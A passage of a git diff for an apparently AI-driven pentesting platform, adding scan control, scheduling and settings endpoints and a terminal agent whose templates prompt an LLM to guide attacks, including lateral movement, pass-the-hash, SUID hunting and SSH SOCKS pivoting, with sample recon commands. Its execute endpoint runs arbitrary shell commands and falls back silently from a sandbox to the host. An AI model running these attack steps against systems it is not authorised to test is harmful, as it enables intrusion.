detail="Scan is not running or paused") + + # Signal the running agent to stop + agent_id = scan_to_agent.get(scan_id) + if agent_id and agent_id in agent_instances: + agent_instances[agent_id].cancel() + if agent_id in agent_results: + agent_results[agent_id]["status"] = "stopped" + agent_results[agent_id]["phase"] = "stopped" # Update scan status scan.status = "stopped" @@ -259,6 +269,132 @@ async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)): } +@router.post("/{scan_id}/pause") +async def pause_scan(scan_id: str, db: AsyncSession = Depends(get_db)): + """Pause a running scan""" + from backend.api.websocket import manager as ws_manager + from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results + + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + if scan.status != "running": + raise HTTPException(status_code=400, detail="Scan is not running") + + # Signal the agent to pause + agent_id = scan_to_agent.get(scan_id) + if agent_id and agent_id in agent_instances: + agent_instances[agent_id].pause() + if agent_id in agent_results: + agent_results[agent_id]["status"] = "paused" + agent_results[agent_id]["phase"] = "paused" + + scan.status = "paused" + scan.current_phase = "paused" + await db.commit() + + await ws_manager.broadcast_log(scan_id, "warning", "Scan paused by user") + + return {"message": "Scan paused", "scan_id": scan_id} + + +@router.post("/{scan_id}/resume") +async def resume_scan(scan_id: str, db: AsyncSession = Depends(get_db)): + """Resume a paused scan""" + from backend.api.websocket import manager as ws_manager + from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results + + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + if scan.status != "paused": + raise HTTPException(status_code=400, detail="Scan is not paused") + + # Signal the agent to resume + agent_id = scan_to_agent.get(scan_id) + if agent_id and agent_id in agent_instances: + agent_instances[agent_id].resume() + if agent_id in agent_results: + agent_results[agent_id]["status"] = "running" + agent_results[agent_id]["phase"] = "testing" + + scan.status = "running" + scan.current_phase = "testing" + await db.commit() + + await ws_manager.broadcast_log(scan_id, "info", "Scan resumed by user") + + return {"message": "Scan resumed", "scan_id": scan_id} + + +@router.post("/{scan_id}/skip-to/{target_phase}") +async def skip_to_phase_endpoint(scan_id: str, target_phase: str, db: AsyncSession = Depends(get_db)): + """Skip the current scan phase and jump to a target phase. + + Valid phases: recon, analyzing, testing, completed + Can only skip forward (to a phase ahead of current). + """ + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + if scan.status not in ("running", "paused"): + raise HTTPException(status_code=400, detail="Scan is not running or paused") + + # If paused, resume first so the skip can be processed + if scan.status == "paused": + from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results + agent_id = scan_to_agent.get(scan_id) + if agent_id and agent_id in agent_instances: + agent_instances[agent_id].resume() + if agent_id in agent_results: + agent_results[agent_id]["status"] = "running" + agent_results[agent_id]["phase"] = agent_results[agent_id].get("last_phase", "testing") + scan.status = "running" + await db.commit() + + if target_phase not in PHASE_ORDER: + raise HTTPException( + status_code=400, + detail=f"Invalid phase '{target_phase}'. Valid: {', '.join(PHASE_ORDER[1:])}" + ) + + # Validate forward skip + current_idx = PHASE_ORDER.index(scan.current_phase) if scan.current_phase in PHASE_ORDER else 0 + target_idx = PHASE_ORDER.index(target_phase) + + if target_idx <= current_idx: + raise HTTPException( + status_code=400, + detail=f"Cannot skip backward. Current: {scan.current_phase}, target: {target_phase}" + ) + + # Signal the running scan to skip + success = _skip_to_phase(scan_id, target_phase) + if not success: + raise HTTPException(status_code=500, detail="Failed to signal phase skip") + + # Broadcast via WebSocket + from backend.api.websocket import manager as ws_manager + await ws_manager.broadcast_log(scan_id, "warning", f">> User requested skip to phase: {target_phase}") + await ws_manager.broadcast_phase_change(scan_id, f"skipping_to_{target_phase}") + + return { + "message": f"Skipping to phase: {target_phase}", + "scan_id": scan_id, + "from_phase": scan.current_phase, + "target_phase": target_phase + } + + @router.get("/{scan_id}/status", response_model=ScanProgress) async def get_scan_status(scan_id: str, db: AsyncSession = Depends(get_db)): """Get scan progress and status""" @@ -369,3 +505,68 @@ async def get_scan_vulnerabilities( "page": page, "per_page": per_page } + + +class ValidationRequest(BaseModel): + validation_status: str # "validated" | "false_positive" | "ai_confirmed" | "ai_rejected" | "pending_review" + notes: Optional[str] = None + + +@router.patch("/vulnerabilities/{vuln_id}/validate") +async def validate_vulnerability( + vuln_id: str, + body: ValidationRequest, + db: AsyncSession = Depends(get_db) +): + """Manually validate or reject a vulnerability finding""" + valid_statuses = {"validated", "false_positive", "ai_confirmed", "ai_rejected", "pending_review"} + if body.validation_status not in valid_statuses: + raise HTTPException(status_code=400, detail=f"Invalid status. Must be one of: {', '.join(valid_statuses)}") + + result = await db.execute(select(Vulnerability).where(Vulnerability.id == vuln_id)) + vuln = result.scalar_one_or_none() + + if not vuln: + raise HTTPException(status_code=404, detail="Vulnerability not found") + + old_status = vuln.validation_status or "ai_confirmed" + vuln.validation_status = body.validation_status + if body.notes: + vuln.ai_rejection_reason = body.notes + + # Update scan severity counts when validation status changes + scan_result = await db.execute(select(Scan).where(Scan.id == vuln.scan_id)) + scan = scan_result.scalar_one_or_none() + + if scan: + sev = vuln.severity + # If changing from rejected to validated: add to counts + if old_status == "ai_rejected" and body.validation_status == "validated": + scan.total_vulnerabilities = (scan.total_vulnerabilities or 0) + 1 + if sev == "critical": + scan.critical_count = (scan.critical_count or 0) + 1 + elif sev == "high": + scan.high_count = (scan.high_count or 0) + 1 + elif sev == "medium": + scan.medium_count = (scan.medium_count or 0) + 1 + elif sev == "low": + scan.low_count = (scan.low_count or 0) + 1 + elif sev == "info": + scan.info_count = (scan.info_count or 0) + 1 + # If changing from confirmed to false_positive: subtract from counts + elif old_status in ("ai_confirmed", "validated") and body.validation_status == "false_positive": + scan.total_vulnerabilities = max(0, (scan.total_vulnerabilities or 0) - 1) + if sev == "critical": + scan.critical_count = max(0, (scan.critical_count or 0) - 1) + elif sev == "high": + scan.high_count = max(0, (scan.high_count or 0) - 1) + elif sev == "medium": + scan.medium_count = max(0, (scan.medium_count or 0) - 1) + elif sev == "low": + scan.low_count = max(0, (scan.low_count or 0) - 1) + elif sev == "info": + scan.info_count = max(0, (scan.info_count or 0) - 1) + + await db.commit() + + return {"message": "Vulnerability validation updated", "vulnerability": vuln.to_dict()} diff --git a/backend/api/v1/scheduler.py b/backend/api/v1/scheduler.py new file mode 100644 index 0000000..988a630 --- /dev/null +++ b/backend/api/v1/scheduler.py @@ -0,0 +1,140 @@ +""" +NeuroSploit v3 - Scheduler API Router + +CRUD endpoints for managing scheduled scan jobs. +""" + +import json +from pathlib import Path +from fastapi import APIRouter, HTTPException, Request +from pydantic import BaseModel +from typing import Optional, List, Dict + +router = APIRouter() + +CONFIG_PATH = Path(__file__).parent.parent.parent.parent / "config" / "config.json" + + +class ScheduleJobRequest(BaseModel): + """Request model for creating a scheduled job.""" + job_id: str + target: str + scan_type: str = "quick" + cron_expression: Optional[str] = None + interval_minutes: Optional[int] = None + agent_role: Optional[str] = None + llm_profile: Optional[str] = None + + +class ScheduleJobResponse(BaseModel): + """Response model for a scheduled job.""" + id: str + target: str + scan_type: str + schedule: str + status: str + next_run: Optional[str] = None + last_run: Optional[str] = None + run_count: int = 0 + + +@router.get("/", response_model=List[Dict]) +async def list_scheduled_jobs(request: Request): + """List all scheduled scan jobs.""" + scheduler = getattr(request.app.state, 'scheduler', None) + if not scheduler: + return [] + return scheduler.list_jobs() + + +@router.post("/", response_model=Dict) +async def create_scheduled_job(job: ScheduleJobRequest, request: Request): + """Create a new scheduled scan job.""" + scheduler = getattr(request.app.state, 'scheduler', None) + if not scheduler: + raise HTTPException(status_code=503, detail="Scheduler not available") + + if not job.cron_expression and not job.interval_minutes: + raise HTTPException( + status_code=400, + detail="Either cron_expression or interval_minutes must be provided" + ) + + result = scheduler.add_job( + job_id=job.job_id, + target=job.target, + scan_type=job.scan_type, + cron_expression=job.cron_expression, + interval_minutes=job.interval_minutes, + agent_role=job.agent_role, + llm_profile=job.llm_profile + ) + + if "error" in result: + raise HTTPException(status_code=400, detail=result["error"]) + + return result + + +@router.delete("/{job_id}") +async def delete_scheduled_job(job_id: str, request: Request): + """Delete a scheduled scan job.""" + scheduler = getattr(request.app.state, 'scheduler', None) + if not scheduler: + raise HTTPException(status_code=503, detail="Scheduler not available") + + success = scheduler.remove_job(job_id) + if not success: + raise HTTPException(status_code=404, detail=f"Job '{job_id}' not found") + + return {"message": f"Job '{job_id}' deleted", "id": job_id} + + +@router.post("/{job_id}/pause") +async def pause_scheduled_job(job_id: str, request: Request): + """Pause a scheduled scan job.""" + scheduler = getattr(request.app.state, 'scheduler', None) + if not scheduler: + raise HTTPException(status_code=503, detail="Scheduler not available") + + success = scheduler.pause_job(job_id) + if not success: + raise HTTPException(status_code=404, detail=f"Job '{job_id}' not found") + + return {"message": f"Job '{job_id}' paused", "id": job_id, "status": "paused"} + + +@router.post("/{job_id}/resume") +async def resume_scheduled_job(job_id: str, request: Request): + """Resume a paused scheduled scan job.""" + scheduler = getattr(request.app.state, 'scheduler', None) + if not scheduler: + raise HTTPException(status_code=503, detail="Scheduler not available") + + success = scheduler.resume_job(job_id) + if not success: + raise HTTPException(status_code=404, detail=f"Job '{job_id}' not found") + + return {"message": f"Job '{job_id}' resumed", "id": job_id, "status": "active"} + + +@router.get("/agent-roles", response_model=List[Dict]) +async def get_agent_roles(): + """Return available agent roles from config.json for scheduler dropdown.""" + try: + if not CONFIG_PATH.exists(): + return [] + config = json.loads(CONFIG_PATH.read_text()) + roles = config.get("agent_roles", {}) + result = [] + for role_id, role_data in roles.items(): + if role_data.get("enabled", True): + result.append({ + "id": role_id, + "name": role_id.replace("_", " ").title(), + "description": role_data.get("description", ""), + "tools": role_data.get("tools_allowed", []), + }) + return result + except Exception: + return [] diff --git a/backend/api/v1/settings.py b/backend/api/v1/settings.py index eecec85..a737cd8 100644 --- a/backend/api/v1/settings.py +++ b/backend/api/v1/settings.py @@ -1,7 +1,10 @@ """ NeuroSploit v3 - Settings API Endpoints """ -from typing import Optional +import os +import re +from pathlib import Path +from typing import Optional, Dict from fastapi import APIRouter, Depends, HTTPException from sqlalchemy.ext.asyncio import AsyncSession from sqlalchemy import select, delete, text @@ -12,16 +15,69 @@ from backend.models import Scan, Target, Endpoint, Vulnerability, VulnerabilityT router = APIRouter() +# Path to .env file (project root) +ENV_FILE_PATH = Path(__file__).parent.parent.parent.parent / ".env" + + +def _update_env_file(updates: Dict[str, str]) -> bool: + """ + Update key=value pairs in the .env file without breaking formatting. + - If the key exists (even commented out), update its value + - If the key doesn't exist, append it + - Preserves comments and blank lines + """ + if not ENV_FILE_PATH.exists(): + return False + + try: + lines = ENV_FILE_PATH.read_text().splitlines() + updated_keys = set() + + new_lines = [] + for line in lines: + stripped = line.strip() + matched = False + + for key, value in updates.items(): + # Match: KEY=..., # KEY=..., #KEY=... + pattern = rf'^#?\s*{re.escape(key)}\s*=' + if re.match(pattern, stripped): + # Replace with uncommented key=value + new_lines.append(f"{key}={value}") + updated_keys.add(key) + matched = True + break + + if not matched: + new_lines.append(line) + + # Append any keys that weren't found in existing file + for key, value in updates.items(): + if key not in updated_keys: + new_lines.append(f"{key}={value}") + + # Write back with trailing newline + ENV_FILE_PATH.write_text("\n".join(new_lines) + "\n") + return True + except Exception as e: + print(f"Warning: Failed to update .env file: {e}") + return False + class SettingsUpdate(BaseModel): """Settings update schema""" llm_provider: Optional[str] = None anthropic_api_key: Optional[str] = None openai_api_key: Optional[str] = None + openrouter_api_key: Optional[str] = None max_concurrent_scans: Optional[int] = None aggressive_mode: Optional[bool] = None default_scan_type: Optional[str] = None recon_enabled_by_default: Optional[bool] = None + enable_model_routing: Optional[bool] = None + enable_knowledge_augmentation: Optional[bool] = None + enable_browser_validation: Optional[bool] = None + max_output_tokens: Optional[int] = None class SettingsResponse(BaseModel): @@ -29,56 +85,118 @@ class SettingsResponse(BaseModel): llm_provider: str = "claude" has_anthropic_key: bool = False has_openai_key: bool = False + has_openrouter_key: bool = False max_concurrent_scans: int = 3 aggressive_mode: bool = False default_scan_type: str = "full" recon_enabled_by_default: bool = True + enable_model_routing: bool = False + enable_knowledge_augmentation: bool = False + enable_browser_validation: bool = False + max_output_tokens: Optional[int] = None -# In-memory settings storage (in production, use database or config file) -_settings = { - "llm_provider": "claude", - "anthropic_api_key": "", - "openai_api_key": "", - "max_concurrent_scans": 3, - "aggressive_mode": False, - "default_scan_type": "full", - "recon_enabled_by_default": True -} +def _load_settings_from_env() -> dict: + """ + Load settings from environment variables / .env file on startup. + This ensures settings persist across server restarts and browser sessions. + """ + from dotenv import load_dotenv + # Re-read .env file to pick up disk-persisted values + if ENV_FILE_PATH.exists(): + load_dotenv(ENV_FILE_PATH, override=True) + + def _env_bool(key: str, default: bool = False) -> bool: + val = os.getenv(key, "").strip().lower() + if val in ("true", "1", "yes"): + return True + if val in ("false", "0", "no"): + return False + return default + + def _env_int(key: str, default=None): + val = os.getenv(key, "").strip() + if val: + try: + return int(val) + except ValueError: + pass + return default + + # Detect provider from which keys are set + provider = "claude" + if os.getenv("ANTHROPIC_API_KEY"): + provider = "claude" + elif os.getenv("OPENAI_API_KEY"): + provider = "openai" + elif os.getenv("OPENROUTER_API_KEY"): + provider = "openrouter" + + return { + "llm_provider": provider, + "anthropic_api_key": os.getenv("ANTHROPIC_API_KEY", ""), + "openai_api_key": os.getenv("OPENAI_API_KEY", ""), + "openrouter_api_key": os.getenv("OPENROUTER_API_KEY", ""), + "max_concurrent_scans": _env_int("MAX_CONCURRENT_SCANS", 3), + "aggressive_mode": _env_bool("AGGRESSIVE_MODE", False), + "default_scan_type": os.getenv("DEFAULT_SCAN_TYPE", "full"), + "recon_enabled_by_default": _env_bool("RECON_ENABLED_BY_DEFAULT", True), + "enable_model_routing": _env_bool("ENABLE_MODEL_ROUTING", False), + "enable_knowledge_augmentation": _env_bool("ENABLE_KNOWLEDGE_AUGMENTATION", False), + "enable_browser_validation": _env_bool("ENABLE_BROWSER_VALIDATION", False), + "max_output_tokens": _env_int("MAX_OUTPUT_TOKENS", None), + } + + +# Load settings from .env on module import (server start) +_settings = _load_settings_from_env() @router.get("", response_model=SettingsResponse) async def get_settings(): """Get current settings""" + import os return SettingsResponse( llm_provider=_settings["llm_provider"], - has_anthropic_key=bool(_settings["anthropic_api_key"]), - has_openai_key=bool(_settings["openai_api_key"]), + has_anthropic_key=bool(_settings["anthropic_api_key"] or os.getenv("ANTHROPIC_API_KEY")), + has_openai_key=bool(_settings["openai_api_key"] or os.getenv("OPENAI_API_KEY")), + has_openrouter_key=bool(_settings["openrouter_api_key"] or os.getenv("OPENROUTER_API_KEY")), max_concurrent_scans=_settings["max_concurrent_scans"], aggressive_mode=_settings["aggressive_mode"], default_scan_type=_settings["default_scan_type"], - recon_enabled_by_default=_settings["recon_enabled_by_default"] + recon_enabled_by_default=_settings["recon_enabled_by_default"], + enable_model_routing=_settings["enable_model_routing"], + enable_knowledge_augmentation=_settings["enable_knowledge_augmentation"], + enable_browser_validation=_settings["enable_browser_validation"], + max_output_tokens=_settings["max_output_tokens"] ) @router.put("", response_model=SettingsResponse) async def update_settings(settings_data: SettingsUpdate): - """Update settings""" + """Update settings - persists to memory, env vars, AND .env file""" + env_updates: Dict[str, str] = {} + if settings_data.llm_provider is not None: _settings["llm_provider"] = settings_data.llm_provider if settings_data.anthropic_api_key is not None: _settings["anthropic_api_key"] = settings_data.anthropic_api_key - # Also update environment variable for LLM calls - import os if settings_data.anthropic_api_key: os.environ["ANTHROPIC_API_KEY"] = settings_data.anthropic_api_key + env_updates["ANTHROPIC_API_KEY"] = settings_data.anthropic_api_key if settings_data.openai_api_key is not None: _settings["openai_api_key"] = settings_data.openai_api_key - import os if settings_data.openai_api_key: os.environ["OPENAI_API_KEY"] = settings_data.openai_api_key + env_updates["OPENAI_API_KEY"] = settings_data.openai_api_key + + if settings_data.openrouter_api_key is not None: + _settings["openrouter_api_key"] = settings_data.openrouter_api_key + if settings_data.openrouter_api_key: + os.environ["OPENROUTER_API_KEY"] = settings_data.openrouter_api_key + env_updates["OPENROUTER_API_KEY"] = settings_data.openrouter_api_key if settings_data.max_concurrent_scans is not None: _settings["max_concurrent_scans"] = settings_data.max_concurrent_scans @@ -92,6 +210,34 @@ async def update_settings(settings_data: SettingsUpdate): if settings_data.recon_enabled_by_default is not None: _settings["recon_enabled_by_default"] = settings_data.recon_enabled_by_default + if settings_data.enable_model_routing is not None: + _settings["enable_model_routing"] = settings_data.enable_model_routing + val = str(settings_data.enable_model_routing).lower() + os.environ["ENABLE_MODEL_ROUTING"] = val + env_updates["ENABLE_MODEL_ROUTING"] = val + + if settings_data.enable_knowledge_augmentation is not None: + _settings["enable_knowledge_augmentation"] = settings_data.enable_knowledge_augmentation + val = str(settings_data.enable_knowledge_augmentation).lower() + os.environ["ENABLE_KNOWLEDGE_AUGMENTATION"] = val + env_updates["ENABLE_KNOWLEDGE_AUGMENTATION"] = val + + if settings_data.enable_browser_validation is not None: + _settings["enable_browser_validation"] = settings_data.enable_browser_validation + val = str(settings_data.enable_browser_validation).lower() + os.environ["ENABLE_BROWSER_VALIDATION"] = val + env_updates["ENABLE_BROWSER_VALIDATION"] = val + + if settings_data.max_output_tokens is not None: + _settings["max_output_tokens"] = settings_data.max_output_tokens + if settings_data.max_output_tokens: + os.environ["MAX_OUTPUT_TOKENS"] = str(settings_data.max_output_tokens) + env_updates["MAX_OUTPUT_TOKENS"] = str(settings_data.max_output_tokens) + + # Persist to .env file on disk + if env_updates: + _update_env_file(env_updates) + return await get_settings() diff --git a/backend/api/v1/terminal.py b/backend/api/v1/terminal.py new file mode 100644 index 0000000..597a061 --- /dev/null +++ b/backend/api/v1/terminal.py @@ -0,0 +1,568 @@ +""" +Terminal Agent API - Interactive infrastructure pentesting via AI chat + Docker sandbox. + +Provides session-based terminal interaction with AI-guided command execution, +exploitation path tracking, and VPN status monitoring. +""" + +import asyncio +import re +import time +import uuid +from datetime import datetime, timezone +from typing import Dict, List, Optional + +from fastapi import APIRouter, HTTPException +from pydantic import BaseModel + +from core.llm_manager import LLMManager +from core.sandbox_manager import get_sandbox + +router = APIRouter() + +# --------------------------------------------------------------------------- +# In-memory session store +# --------------------------------------------------------------------------- +terminal_sessions: Dict[str, Dict] = {} + +# --------------------------------------------------------------------------- +# Pre-built templates +# --------------------------------------------------------------------------- +TEMPLATES = { + "network_scanner": { + "name": "Network Scanner", + "description": "Host discovery, port scanning, and service detection", + "system_prompt": ( + "You are an expert network reconnaissance specialist. You guide the " + "operator through systematic host discovery, port scanning, and service " + "fingerprinting. Always suggest nmap flags appropriate for the situation, " + "explain output, and recommend next steps based on discovered services. " + "Prioritize stealth when asked and suggest timing/fragmentation options." + ), + "initial_commands": [ + "nmap -sn {target}", + "nmap -sV -sC -O -p- {target}", + "nmap -sU --top-ports 50 {target}", + ], + }, + "lateral_movement": { + "name": "Lateral Movement", + "description": "Pass-the-hash, SMB/WinRM pivoting, and SSH tunneling", + "system_prompt": ( + "You are a lateral movement specialist. You help the operator pivot " + "through compromised networks using techniques such as pass-the-hash, " + "SMB relay, WinRM sessions, SSH tunneling, and SOCKS proxying. Always " + "verify credentials before attempting pivots, suggest cleanup steps, " + "and track which hosts have been compromised." + ), + "initial_commands": [ + "crackmapexec smb {target} -u '' -p ''", + "crackmapexec smb {target} --shares -u '' -p ''", + "ssh -D 1080 -N -f user@{target}", + ], + }, + "privilege_escalation": { + "name": "Privilege Escalation", + "description": "SUID binaries, kernel exploits, cron jobs, and writable paths", + "system_prompt": ( + "You are a privilege escalation expert for Linux and Windows systems. " + "Guide the operator through enumeration of SUID/SGID binaries, kernel " + "version checks, misconfigured cron jobs, writable PATH directories, " + "sudo misconfigurations, and capability abuse. Suggest automated tools " + "like linpeas/winpeas when appropriate and explain each finding." + ), + "initial_commands": [ + "id && whoami && uname -a", + "find / -perm -4000 -type f 2>/dev/null", + "cat /etc/crontab && ls -la /etc/cron.*", + "echo $PATH | tr ':' '\\n' | xargs -I {} ls -ld {}", + ], + }, + "vpn_recon": { + "name": "VPN Reconnaissance", + "description": "VPN connection management and internal network discovery", + "system_prompt": ( + "You are a VPN and internal network reconnaissance specialist. You " + "help the operator connect to target VPNs, verify tunnel status, " + "discover internal subnets, and enumerate services behind the VPN. " + "Always confirm connectivity before proceeding with scans and suggest " + "appropriate scope for internal reconnaissance." + ), + "initial_commands": [ + "openvpn --config client.ovpn --daemon", + "ip addr show tun0", + "ip route | grep tun", + "nmap -sn 10.0.0.0/24", + ], + }, +} + +# --------------------------------------------------------------------------- +# Pydantic request / response models +# --------------------------------------------------------------------------- + +class CreateSessionRequest(BaseModel): + template_id: Optional[str] = None + target: Optional[str] = "" + name: Optional[str] = "" + + +class MessageRequest(BaseModel): + message: str + + +class ExecuteCommandRequest(BaseModel): + command: str + execution_method: str = "sandbox" # "sandbox" or "direct" + + +class ExploitationStepRequest(BaseModel): + description: str + command: Optional[str] = "" + result: Optional[str] = "" + step_type: str = "recon" # recon | exploit | pivot | escalate | action + + +class SessionSummary(BaseModel): + session_id: str + name: str + target: str + template_id: Optional[str] + status: str + created_at: str + messages_count: int + commands_count: int + + +class MessageResponse(BaseModel): + role: str + response: str + timestamp: str + suggested_commands: List[str] + + +class CommandResult(BaseModel): + command: str + exit_code: int + stdout: str + stderr: str + duration: float + execution_method: str + timestamp: str + + +class VPNStatus(BaseModel): + connected: bool + ip: Optional[str] = None + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _now_iso() -> str: + return datetime.now(timezone.utc).isoformat() + + +def _build_session( + session_id: str, + name: str, + target: str, + template_id: Optional[str], +) -> Dict: + return { + "session_id": session_id, + "name": name, + "target": target, + "template_id": template_id, + "status": "active", + "created_at": _now_iso(), + "messages": [], + "command_history": [], + "exploitation_path": [], + "vpn_status": {"connected": False, "ip": None}, + } + + +def _get_session(session_id: str) -> Dict: + session = terminal_sessions.get(session_id) + if not session: + raise HTTPException(status_code=404, detail=f"Session {session_id} not found") + return session + + +def _build_context_string( + messages: List[Dict], + commands: List[Dict], + exploitation: List[Dict], +) -> str: + parts: List[str] = [] + + if messages: + parts.append("=== Recent Conversation ===") + for msg in messages: + role = msg.get("role", "unknown").upper() + parts.append(f"[{role}] {msg.get('content', '')}") + + if commands: + parts.append("\n=== Recent Command Results ===") + for cmd in commands: + parts.append( + f"$ {cmd['command']}\n" + f"Exit code: {cmd['exit_code']}\n" + f"Stdout: {cmd['stdout'][:500]}\n" + f"Stderr: {cmd['stderr'][:300]}" + ) + + if exploitation: + parts.append("\n=== Exploitation Path ===") + for i, step in enumerate(exploitation, 1): + parts.append( + f"Step {i} [{step['step_type']}]: {step['description']}" + ) + if step.get("command"): + parts.append(f" Command: {step['command']}") + if step.get("result"): + parts.append(f" Result: {step['result'][:300]}") + + return "\n".join(parts) + + +def _extract_suggested_commands(text: str) -> List[str]: + """Extract commands from backtick-fenced code blocks.""" + blocks = re.findall(r"```(?:bash|sh|shell)?\n?(.*?)```", text, re.DOTALL) + commands: List[str] = [] + for block in blocks: + for line in block.strip().splitlines(): + stripped = line.strip() + if stripped and not stripped.startswith("#"): + commands.append(stripped) + return commands + + +# --------------------------------------------------------------------------- +# Template endpoints +# --------------------------------------------------------------------------- + +@router.get("/templates") +async def list_templates(): + """List all available session templates.""" + result = [] + for tid, tmpl in TEMPLATES.items(): + result.append({ + "id": tid, + "name": tmpl["name"], + "description": tmpl["description"], + "initial_commands": tmpl["initial_commands"], + }) + return result + + +# --------------------------------------------------------------------------- +# Session CRUD +# --------------------------------------------------------------------------- + +@router.post("/session") +async def create_session(req: CreateSessionRequest): + """Create a new terminal session, optionally from a template.""" + session_id = str(uuid.uuid4()) + target = req.target or "" + template_id = req.template_id + + if template_id and template_id not in TEMPLATES: + raise HTTPException(status_code=400, detail=f"Unknown template: {template_id}") + + name = req.name or ( + TEMPLATES[template_id]["name"] if template_id else f"Session {session_id[:8]}" + ) + + session = _build_session(session_id, name, target, template_id) + + # Seed initial system message from template + if template_id: + tmpl = TEMPLATES[template_id] + session["messages"].append({ + "role": "system", + "content": tmpl["system_prompt"], + "timestamp": _now_iso(), + "metadata": {"template": template_id}, + }) + # Provide initial suggested commands with target interpolated + initial_cmds = [ + cmd.replace("{target}", target) for cmd in tmpl["initial_commands"] + ] + session["messages"].append({ + "role": "assistant", + "content": ( + f"Session initialised with the **{tmpl['name']}** template.\n\n" + f"Target: `{target or '(not set)'}`\n\n" + "Suggested starting commands:\n" + + "\n".join(f"```\n{c}\n```" for c in initial_cmds) + ), + "timestamp": _now_iso(), + "suggested_commands": initial_cmds, + }) + + terminal_sessions[session_id] = session + return session + + +@router.get("/sessions") +async def list_sessions(): + """Return lightweight summaries of every session.""" + summaries = [] + for sid, s in terminal_sessions.items(): + summaries.append( + SessionSummary( + session_id=sid, + name=s["name"], + target=s["target"], + template_id=s["template_id"], + status=s["status"], + created_at=s["created_at"], + messages_count=len(s["messages"]), + commands_count=len(s["command_history"]), + ).model_dump() + ) + return summaries + + +@router.get("/sessions/{session_id}") +async def get_session(session_id: str): + """Return the full session including messages, commands, and exploitation path.""" + return _get_session(session_id) + + +@router.delete("/sessions/{session_id}") +async def delete_session(session_id: str): + """Delete a terminal session.""" + if session_id not in terminal_sessions: + raise HTTPException(status_code=404, detail=f"Session {session_id} not found") + del terminal_sessions[session_id] + return {"status": "deleted", "session_id": session_id} + + +# --------------------------------------------------------------------------- +# AI message interaction +# --------------------------------------------------------------------------- + +@router.post("/sessions/{session_id}/message") +async def send_message(session_id: str, req: MessageRequest): + """Send a user prompt to the AI and receive a response with suggested commands.""" + session = _get_session(session_id) + user_message = req.message.strip() + if not user_message: + raise HTTPException(status_code=400, detail="Message content cannot be empty") + + # Record user message + session["messages"].append({ + "role": "user", + "content": user_message, + "timestamp": _now_iso(), + "metadata": {}, + }) + + # Determine system prompt + template_id = session.get("template_id") + if template_id and template_id in TEMPLATES: + system_prompt = TEMPLATES[template_id]["system_prompt"] + else: + system_prompt = ( + "You are an expert infrastructure penetration tester. Help the " + "operator plan and execute attacks against the target. Suggest " + "concrete commands, explain their purpose, and interpret output. " + "Always wrap commands in fenced code blocks so they can be extracted." + ) + + # Build context window + context_messages = session["messages"][-20:] + context_cmds = session["command_history"][-10:] + exploitation = session["exploitation_path"] + context = _build_context_string(context_messages, context_cmds, exploitation) + + # Call LLM + try: + llm = LLMManager() + prompt = f"{context}\n\nUser: {user_message}" + response = await llm.generate(prompt, system_prompt) + except Exception as exc: + raise HTTPException(status_code=502, detail=f"LLM call failed: {exc}") + + suggested_commands = _extract_suggested_commands(response) + + # Record assistant response + session["messages"].append({ + "role": "assistant", + "content": response, + "timestamp": _now_iso(), + "suggested_commands": suggested_commands, + }) + + return MessageResponse( + role="assistant", + response=response, + timestamp=session["messages"][-1]["timestamp"], + suggested_commands=suggested_commands, + ).model_dump() + + +# --------------------------------------------------------------------------- +# Command execution +# --------------------------------------------------------------------------- + +@router.post("/sessions/{session_id}/execute") +async def execute_command(session_id: str, req: ExecuteCommandRequest): + """Execute a command in the Docker sandbox (fallback: direct shell).""" + session = _get_session(session_id) + command = req.command.strip() + if not command: + raise HTTPException(status_code=400, detail="Command cannot be empty") + + start = time.time() + stdout = "" + stderr = "" + exit_code = -1 + execution_method = "direct" + + # Use requested execution method + use_sandbox = req.execution_method == "sandbox" + + if use_sandbox: + try: + sandbox = await get_sandbox() + if sandbox and sandbox.is_available: + result = await sandbox.execute_raw(command) + stdout = result.stdout + stderr = result.stderr + exit_code = result.exit_code + execution_method = "sandbox" + except Exception: + pass # Fall through to direct execution + + # Fallback or direct execution requested + if execution_method != "sandbox": + try: + proc = await asyncio.create_subprocess_shell( + command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + raw_stdout, raw_stderr = await asyncio.wait_for( + proc.communicate(), timeout=120 + ) + stdout = raw_stdout.decode(errors="replace") + stderr = raw_stderr.decode(errors="replace") + exit_code = proc.returncode or 0 + execution_method = "direct" + except asyncio.TimeoutError: + stderr = "Command timed out after 120 seconds" + exit_code = 124 + except Exception as exc: + stderr = str(exc) + exit_code = 1 + + duration = round(time.time() - start, 3) + + cmd_record = { + "command": command, + "exit_code": exit_code, + "stdout": stdout, + "stderr": stderr, + "duration": duration, + "execution_method": execution_method, + "timestamp": _now_iso(), + } + session["command_history"].append(cmd_record) + + # Mirror into messages for AI context continuity + output_preview = stdout[:2000] if stdout else stderr[:2000] + session["messages"].append({ + "role": "tool", + "content": f"$ {command}\n[exit {exit_code}] ({execution_method}, {duration}s)\n{output_preview}", + "timestamp": cmd_record["timestamp"], + "metadata": {"exit_code": exit_code, "execution_method": execution_method}, + }) + + return CommandResult(**cmd_record).model_dump() + + +# --------------------------------------------------------------------------- +# Exploitation path +# --------------------------------------------------------------------------- + +@router.post("/sessions/{session_id}/exploitation-path") +async def add_exploitation_step(session_id: str, req: ExploitationStepRequest): + """Add a manual step to the exploitation path timeline.""" + session = _get_session(session_id) + + valid_types = {"recon", "exploit", "pivot", "escalate", "action"} + if req.step_type not in valid_types: + raise HTTPException( + status_code=400, + detail=f"step_type must be one of {sorted(valid_types)}", + ) + + step = { + "description": req.description, + "command": req.command or "", + "result": req.result or "", + "timestamp": _now_iso(), + "step_type": req.step_type, + } + session["exploitation_path"].append(step) + return step + + +@router.get("/sessions/{session_id}/exploitation-path") +async def get_exploitation_path(session_id: str): + """Return the full exploitation path timeline.""" + session = _get_session(session_id) + return session["exploitation_path"] + + +# --------------------------------------------------------------------------- +# VPN status +# 